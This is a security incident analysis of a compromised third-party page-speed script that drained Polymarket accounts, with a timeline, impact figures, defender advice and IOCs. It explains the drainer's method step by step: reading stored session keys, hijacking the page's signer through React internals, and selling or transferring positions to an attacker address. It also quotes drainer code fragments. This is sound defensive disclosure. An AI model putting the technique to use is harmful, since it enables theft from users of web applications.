Page Load Is a Trust Boundary: The Polymarket Script Drain
The file that drained Polymarket accounts was not a wallet exploit. It was 15,187 bytes of minified JavaScript, sitting at the URL a page-speed tag had used for more than a year, and it did nothing that the page could not already do. It read the login state from localStorage, walked React’s component tree until it found the object with postOrder and createOrder, and borrowed the signer attached to it.
The tag belonged to DebugBear, a real-user monitoring (RUM) product that measures how fast pages load. Polymarket embedded it on polymarket.com, as thousands of sites embed a performance or analytics snippet. On 29 October 2026, between roughly 16:54 and 18:00 UTC, the file at that URL stopped measuring anything. It started moving money at 17:10, using Polymarket’s own order book, its own relayer, and its own conditional-token contract.
Nothing was forged. Every transaction was valid, signed by the account that owned the funds, and relayed by the service that normally pays gas for users.
TL;DR
- A third-party RUM script at
cdn.debugbear[.]com/C7xcKKrjUnXK.jswas replaced with a Polymarket-specific wallet drainer. The clean file was 60,493 bytes; the hostile one is 15,187 bytes. - The drainer read
polymarket.auth.params,polymarket.auth.proxyWallet, andpoly_clob_api_key_map, then searched the running page for the live trading client and its signer. - It handled two account types differently. Email-login (Magic) accounts had positions sold with fill-and-kill orders and no visible prompt. Browser-wallet accounts had outcome tokens moved by one ERC-1155
safeBatchTransferFrom, which requires a signature. - Proceeds were routed through Polymarket’s gasless relayer and its pUSD conversion path. No private key, password, or seed phrase was taken.
- A recipient address received 28,636,284.45 POL, 36 position-token transfers from 33 deposit wallets, and about $16,700 in stablecoins between 17:10 and 18:03 UTC. It held roughly $2.5 million by 18:20 and forwarded everything by 18:38.
- Polymarket shipped a build without the script at 17:59:20 UTC and paused relayer actions. DebugBear told all RUM customers to remove the embed code at 18:00:58.
- The compromise mechanism is not public. The evidence shows a different server answering for the vendor hostname, not a file edited in the vendor’s storage bucket.
The tag
DebugBear’s RUM product works the way most of them do. The customer puts one script tag on every page. The browser fetches that file from the vendor’s CDN on each visit, runs it inside the page, and the script reports timings back to the vendor.
For Polymarket the file was C7xcKKrjUnXK.js, a per-project snippet key. Archived copies of that URL from June 2025 through the morning of 29 October are ordinary RUM code. The copy captured at 12:06 UTC on the day of the incident is 60,493 bytes, carries the configuration "snippetKey":"C7xcKKrjUnXK" and "sendTo":"https://data.debugbear.com", and was served from Google Cloud Storage with standard object headers.
At 16:54:57 UTC, Cloudflare could not reach the origin behind cdn.debugbear[.]com and returned error 521. The hostile file served later carried an nginx ETag and an nginx/1.24.0 (Ubuntu) banner, not the storage headers the clean file had. By 20:37 UTC both cdn.debugbear[.]com and data.debugbear[.]com returned NXDOMAIN, and debugbear.com itself was still returning a Cloudflare origin error the next morning.
That sequence describes a change of origin, not an edit to a stored object. It does not establish who made the change or how.
What the file did
The payload is plain JavaScript, not obfuscated. It is a single minified function named startdebugger.
Stage 1: wait for a logged-in trader. The script requests configuration from its data host, with hardcoded fallbacks: a recipient address, a $10 minimum account value, a $10 minimum per position, and POL as the payout token. It asks polymarket.com/api/geoblock for the visitor’s location and exits if the response marks them as blocked. It then reads three storage keys the application writes:
| Key | Contents |
|---|---|
polymarket.auth.params |
Login type (eoa or magic) and wallet address |
polymarket.auth.proxyWallet |
The deposit wallet holding account funds |
poly_clob_api_key_map |
Trading API credentials per wallet |
A visitor with no session, or no credentials for the logged-in wallet, goes no further.
Stage 2: borrow the trading client. React stores component props and hook state on internal fiber objects attached to DOM elements under keys beginning __reactFiber$. The script collects up to 400 buttons, links and containers, then walks their fiber trees for up to five seconds or 60,000 nodes. It keeps any object that has a postOrder method and a createOrder or createMarketOrder method. That object is Polymarket’s order client, and it carries the signer.
If the client has not mounted yet, the script retries 15 times at 250 ms intervals. If it still fails, it sets location.pathname to /<wallet address>. The navigation reloads the page, and the script gets another attempt.
Stage 3: move value. The script reads the deposit wallet’s token balances over Polygon RPC and up to 200 open positions from Polymarket’s data API. It compares cash against position value and takes the larger one first.
Cash is approved, converted, and swapped through a quote from api.fun.xyz, with the payout sent in POL to the recipient. A stablecoin transfer is the fallback. Each call set is wrapped in an EIP-712 DepositWallet message, signed with the page’s signer, and posted to relayer-v2.polymarket.com/submit with a one-hour deadline.
Positions worth more than $10 each are handled by account type.
Stage 4: report. Three endpoints on data.debugbear[.]com receive the results: /metrics/submit for portfolio value and each position, /metrics/update for each cash sweep with its transaction hash, and /metrics/handle for each position transfer. Every report carries the deposit wallet, the login wallet, the login format, the operating system, a tracking UUID, and the visitor’s IP address and country as returned by the geoblock API.
The sales are followed by a balance poll that runs for 50 seconds. The poll assigns the new balance to the variable it then compares against, so it passes on the first read. The threat actor shipped a bug, and the loop is the kind of detail that separates a working tool from a script that was tested only against one account type.
Representative logic
Three fragments, ordered by how much can be verified about each.
The file that should have loaded. From the archived clean copy, 60,493 bytes:
(function(){
const config = {
"snippetKey":"C7xcKKrjUnXK",
"sendTo":"https://data.debugbear.com",
"version":10,
"sampling":2,
"includeSubdomains":true,
...
That is a monitoring script. It carries a snippet key, a data endpoint, a sampling rate and a version. It does not read wallet storage and it does not contain postOrder.
The configuration fallback. From the captured drainer, as published in static analysis of the file:
static async getInitialData() {
try {
return await (await fetch(this._apiUrl + "/metrics/init?referrer=" + this.TRACK_ID, { method: "GET" })).json()
} catch {
return { recipient: N, minimalPerPosition: 10, minimalToProcess: 10, priorityToken: "POL" }
}
}
N is the hardcoded recipient. The shape matters more than the address: the destination is a remote setting with a local default. Blocking the hardcoded address removes the default configuration, not the capability.
The sequence. The function names below come from a public review of a capture on the day of the incident. I have not read the drainer bytes myself, so treat the identifiers as labels for the described behaviour rather than as proof of the source text.
| Function | Role |
|---|---|
resolveAuthorization() |
Reads the three storage keys and the login type |
foundClobClient() |
Walks React fiber state for the object with postOrder and createOrder, and keeps its signer |
getInitialData() |
Fetches the recipient and thresholds from /metrics/init |
signAndSubmitBatch() |
Builds the EIP-712 DepositWallet batch, requests the signature, posts to the relayer |
X() |
Sends position tokens with safeBatchTransferFrom |
Q() |
Runs the fill-and-kill sale ladder for Magic accounts, then sweeps the balance |
One reported fragment of the cash path:
data: d.encode.transfer(t, e.total)
Here t is the recipient and e.total is the whole balance of the tracked collateral token. The recipient is a variable, the amount is the entire balance, and the signature comes from the page that loaded the script.
Two account types, two paths
The distinction matters for anyone reading victim reports, because it explains who saw a prompt and who did not.
Email login (Magic). Polymarket’s email accounts use an embedded wallet. During a session, the page can ask it to sign without a browser extension and without a confirmation window. The script sells each position with fill-and-kill orders: first at 97 percent of the current price, then 50 percent, then the market’s minimum tick. It skips closed, inactive and redeemable markets. This is the path behind the reports of accounts drained without a signature request.
Browser wallet (EOA). A MetaMask or similar account cannot be signed silently. The script builds one safeBatchTransferFrom call on the Conditional Tokens contract, 0x4D97DCd97eC945f40cF65F87097ACe5EA0476045, moving every qualifying outcome token to the recipient, and asks the wallet to sign. These users saw a signature request. Screenshots of one circulated during the incident.
Both paths end at the same relayer. Polymarket runs it so users never need POL for gas. On 29 October it paid the gas for the withdrawals too.
Timeline
All times UTC, 29 October 2026.
| Time | Event |
|---|---|
| 12:06:55 | Last clean capture of the script URL, 60,493 bytes, from the vendor’s storage bucket |
| 16:54:57 | cdn.debugbear[.]com returns Cloudflare 521: origin not responding |
| 17:10:23 | First POL reaches the recipient address, Polygon block 96,392,296 |
| 17:26:29 | First outcome tokens reach the recipient |
| 17:27:45 | A Cloudflare edge caches the hostile file |
| 17:30 | Users begin reporting drained accounts |
| 17:45:57 | A trader publicly reports an $800,000 loss and sold positions |
| 17:59:20 | Polymarket builds production with chore(polymarket): remove debugbear rum script (#15337) |
| 18:00:58 | DebugBear tells all RUM customers to remove the embed code |
| 18:02:56 | Last token transfer into the recipient |
| 18:05 | Polymarket switches to cancel-only mode and pauses relayer actions |
| 18:19:58 | Recipient holds 28,636,284 POL |
| 18:28–18:38 | All POL forwarded to three wallets |
| 18:33:12 | Polymarket confirms a third-party provider was compromised and refers the matter to law enforcement |
| 19:00:35 | Trading fully back online |
| 20:37 | Both DebugBear hostnames return NXDOMAIN |
The build timestamp is not a deployment time. Browsers that already had the page open kept the script running until the tab was refreshed or closed. The last transfer arrived three and a half minutes after the build, which fits the gap between a release and every client picking it up.
Impact
The recipient address was empty and had sent no transactions before 17:10. In the next 52 minutes it received:
- 28,636,284.45 POL, delivered through swap contracts
- 36 transfers of position tokens from 33 deposit wallets
- 10,383.33 USDC.e in 15 transfers and 6,320.69 USDC in 14 transfers
It converted the stablecoins in four transactions, forwarded the position tokens in 25 transfers, and sent the POL out in three transfers between 18:28 and 18:38.
The dollar value depends on the POL price used; published figures range from about $2.5 million to $2.7 million. A separate trace counted 2.724M pUSD arriving from 721 source wallets. That is a count of transfer sources, not a confirmed victim count: one account can produce several, and swap contracts produce many. Polymarket has not published a user count or a loss figure. It has said affected traders will be made whole.
What the evidence does not show
Four things are commonly assumed and none of them is established.
How the file was replaced. A different server answered for the vendor’s hostname. Whether that came from a DNS change, an origin compromise, a CDN configuration change, or something else is not public. DebugBear has not published a root cause. Treating the incident as “the vendor was hacked” is a guess with a plausible shape, not a finding.
Intent. The payload is written for Polymarket alone. It reads Polymarket’s storage keys, calls Polymarket’s APIs, searches for Polymarket’s order client, and skips visitors its geoblock marks as blocked. That is a targeted tool. Targeting is not attribution, and it does not tell us how the file got there.
Scope. DebugBear told every RUM customer to remove the embed, which is the correct response to an origin-level problem. No second victim is public, and the payload would not work on another site. Whether other customers were served a different payload is unknown.
First-hand review. The clean file is verifiable: the archived 12:06:55 UTC response is 60,493 bytes with SHA-256 0525f046c83daa429e0f676d36650d51d9e283ba5cacfa56097c80bad586128b, and its configuration matches a monitoring script. The hostile file is not. The archive holds only a 521 error for the critical window, and the hostname no longer resolves, so the description of the payload rests on captures taken by others at 18:12 and 18:13 UTC and the analyses published from them. The behaviour described here is consistent across those analyses. The source text is not something this article can show.
The compromise also does not appear to be the first of its kind for this platform. Polymarket confirmed a third-party frontend script compromise in June 2026, with losses estimated near $3 million and full refunds promised. That vendor was never named publicly, and nothing published links the two events.
Why page load is the wrong trust boundary
A page assembled from third-party scripts is a dependency graph with no lockfile. The site owner chooses a vendor, and the vendor’s file changes without a version number, a review, or a diff. The browser has one rule for it: same realm, same privileges as the application.
That rule is what makes the drainer work. The script did not need to defeat an authentication check, because it ran after authentication. It did not need to steal a session cookie, because it could use the session in place. It did not need a new domain, because every host it called was already in Polymarket’s Content Security Policy: *.polymarket.com for the APIs and relayer, *.alchemy.com for RPC, *.fun.xyz for swap quotes. The policy allowed the attack because the policy describes where the application legitimately sends value.
Content Security Policy answers “which hosts may this page talk to.” It does not answer “is this file the file I approved.” Subresource Integrity answers that question, and it fails closed on a swapped file. It also fails when the vendor updates the script, so most sites do not pin it. The honest trade-off is between a tag that can silently change and a tag that breaks on the vendor’s release schedule.
This is the same inversion we describe at the registry, one layer out. A developer installs an extension and inherits the authority of every dependency inside it. A visitor opens a page and inherits the authority of every script the page loads. In both cases the thing being trusted is not the thing that was reviewed. The difference is where the boundary sits: a package registry can refuse an artifact before anyone installs it. A runtime script has no equivalent chokepoint, no inventory, and no version to pin unless the site owner builds one.
What defenders can do
- Inventory every third-party script on the pages that can move money. A script that only reports timings does not need to run on a withdrawal screen, and scoping it to marketing pages removes it from the blast radius.
- Pin what can be pinned. A
integrityattribute on a vendor script would have blocked this swap. Where pinning breaks the vendor’s update flow, treat the tag as a privileged dependency and review it like code. - Read the CSP as an attack map. Every host in
script-src,connect-srcandframe-srcis a place value can go. An allowlist built for functionality is an allowlist available to whoever controls a script on the page. - Separate signing from the page. A signer that only accepts requests originating from reviewed code, or that shows the full batch rather than a summary, removes the borrowed-client path. The drainer’s advantage was that the page’s own client could ask.
- Assume a removed tag is still running. Pausing the relayer and switching to cancel-only closed both paths for sessions that already had the script. A code change alone did not.
The general principle: a page is an execution environment, not a document. Its trust boundary is the last script it loaded, not the domain in the address bar.
Outlook
Runtime dependencies are the cheapest place left to attack a financial application. The artifact is a text file at a URL, the delivery is one DNS or origin change at a vendor that many customers share, and the payload only has to work on one site to be worth writing.
Expect three things to follow. More vendor-hosted script compromises where the payload is written for a single customer, because that limits the number of parties who notice. More abuse of first-party transaction paths, because relayers, swap aggregators and gasless flows exist to remove friction for users and remove friction for whoever holds the session. And more pressure on subresource integrity and script allowlisting, because the alternative is trusting every tag on the page forever.
The June incident and this one are four months apart, on the same platform, through the same layer, with no smart contract involved either time. The contracts did what they were told.
IOCs
Network
| Type | Value | Status |
|---|---|---|
| Script URL | https[://]cdn.debugbear[.]com/C7xcKKrjUnXK.js |
15,187 bytes at capture; host NXDOMAIN by 20:37 UTC |
| Config and exfiltration host | https[://]data.debugbear[.]com |
Paths /metrics/init, /metrics/submit, /metrics/update, /metrics/handle; NXDOMAIN by 20:37 UTC |
| Clean file for the same URL | 60,493 bytes, "snippetKey":"C7xcKKrjUnXK" |
Last capture 2026-10-29 12:06:55 UTC; hashed below |
Files
| Type | Value | Context |
|---|---|---|
| SHA-256 | 0755e767504d8103f6c27b9e765a1026507a17c04513242adb503df7777879e5 |
Drainer, 15,187 bytes |
| SHA-256 | 0525f046c83daa429e0f676d36650d51d9e283ba5cacfa56097c80bad586128b |
Clean RUM file, 60,493 bytes, served until 29 October |
| Function name | startdebugger |
Drainer entry point |
| Tracking ID in reports | 4c6b64a0-a7ef-4c0f-9c70-3a4e6f89065c |
Sent with every victim report |
The clean hash is the useful one for hunting. Any asset inventory still holding 0525f046… is running the version that was safe, and any response that is 15 KB at that path is not the file the snippet key was issued for.
Chain
| Role | Address |
|---|---|
| Recipient embedded in payload (default) | 0x3F99139F1C5854bb628c2e576Aaf638e99dFfc18 |
| Position-token receiver | 0x5a2764fbbe5d139ef0ed988ec5f95320ce730c0b |
| POL forwarding | 0xe4c4c39c1733e1c7c06b79f97ed442b68df41ec6, 0x5392587814ce8c6af6789764f88e5e9ab0b9962c, 0xc91ee0574a14446de200923729c349b9cae19b60 |
| Abused contract | 0x4D97DCd97eC945f40cF65F87097ACe5EA0476045 (Conditional Tokens) |
The default recipient is the one address an analyst can block with confidence. Because the destination comes from /metrics/init, a later deployment can point somewhere else while keeping the same code, so address blocking catches this run and not the next one.
Behavioural
| Pattern | Detail |
|---|---|
| RUM script reading wallet state | Page-speed script accessing polymarket.auth.proxyWallet or equivalent trading-session keys |
| Framework tree traversal | Script walking __reactFiber$ entries from DOM nodes to find an object with postOrder and createOrder |
| Forced reload | Script setting location.pathname to /<wallet address> after failing to find the client |
| Third-party script calling a first-party relayer | A vendor-hosted file posting signed batches to the site’s own gasless relayer |
| Telemetry-shaped C2 | Wallet addresses, balances and position titles posted to the monitoring vendor’s data host |